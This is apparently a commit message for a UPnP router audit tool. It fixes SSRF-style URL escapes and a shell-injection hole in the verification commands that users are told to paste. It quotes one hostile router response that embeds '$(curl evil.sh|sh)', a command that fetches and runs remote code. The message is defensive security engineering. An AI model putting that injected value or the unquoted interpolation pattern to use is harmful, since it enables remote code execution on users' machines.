fix(upnp): stop router-controlled strings reaching fetches and verify commands

[gclluch]

The audit only follows an SSDP LOCATION whose host is a literal private address inside the subnet being scanned. That check turned out to be one hop deep, and the strings it let past were being printed into commands the tool tells you to run.

• An absolute controlURL discarded the vetted URL. parse_service returns urljoin(base, controlURL), and an absolute value replaces the base outright, so the SOAP POST could go anywhere. Redirects were followed too - the same escape with an extra step.
• NewInternalClient and the control URL reached a shell. Both were interpolated unquoted into Finding.verify, which the README explicitly tells the reader to paste. A router answering <NewInternalClient>$(curl evil.sh|sh)</NewInternalClient> produced exactly that inside a block presented as a verification step.

Fixed where the values enter rather than at the six places they are rendered: probe_gateway re-runs the existing is_safe_location against the control URL, parse_mapping requires an actual IP address, and a no-redirect opener backs both _http_get and soap_post. parse_service stays pure.

Three regression tests, plus a _fake_router contextmanager replacing the inline server setup now that three tests need it. README states the stronger claim it can now back.